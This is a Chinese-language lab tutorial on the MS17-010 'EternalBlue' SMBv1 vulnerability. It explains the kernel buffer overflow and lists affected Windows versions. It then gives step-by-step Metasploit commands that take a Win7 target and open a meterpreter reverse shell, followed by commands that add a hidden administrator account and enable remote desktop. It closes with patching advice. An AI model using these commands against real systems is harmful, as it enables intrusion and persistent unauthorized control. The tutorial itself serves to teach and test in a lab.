0x001 漏洞简介
永恒之蓝(ms17-010)过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
0x002 漏洞原理
漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。然后会进行如下操作:
srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小
因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大
因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出
查看更多详细内容: MS17-010:深入分析“永恒之蓝”漏洞。
0x003 影响版本
目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
0x004 漏洞复现
复现环境
- 靶机:Win7 64位 (IP: 192.168.1.14)
- 攻击机:Kali 64位 (IP:192.168.1.11)
靶机Win7下载地址: http://pan.baidu.com/s/1jIzOqRc 密码:
vz8p
复现过程
1. 靶机端口探测
使用Nmap对靶机端口服务进行扫描:namp -sS -sV -Pn 192.168.1.14
探测到靶机开放445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞。
2. 打开MSF渗透工具
终端输入命令即可打开:msfconsole
搜索ms17_010漏洞:search ms17_010
3. 使用漏洞模块
进入漏洞模块: use exploit/windows/smb/ms17_010_eternalblue
查看漏洞模块信息:info
设置攻击目标:set RHOST 192.168.1.14
查看可用的攻击payload:show payloads
选择并设置攻击Payload:set payload windows/x64/meterpreter/reverse_tcp
设置接收信息的本地设备:set LHOST 192.168.1.11
最后检查下当前的配置:show options
开始攻击:exploit
直接拿到Win7的Shell,然后任意命令执行
4. 通过Shell对靶机Win7控制
创建新用户hacker
net user hacker 123456 /add
将hacker用户提升至管理员权限
net localgroup administrators hacker /add
开启Win7的远程桌面控制
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
以上都设置完整后,就可以在kali上远程连接Win7进行控制了
rdesktop 192.168.1.14:3389
0x005 漏洞修复
①在线更新;开启Windows Update更新。
②打补丁;此漏洞对应的微软补丁地址:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2017/ms17-010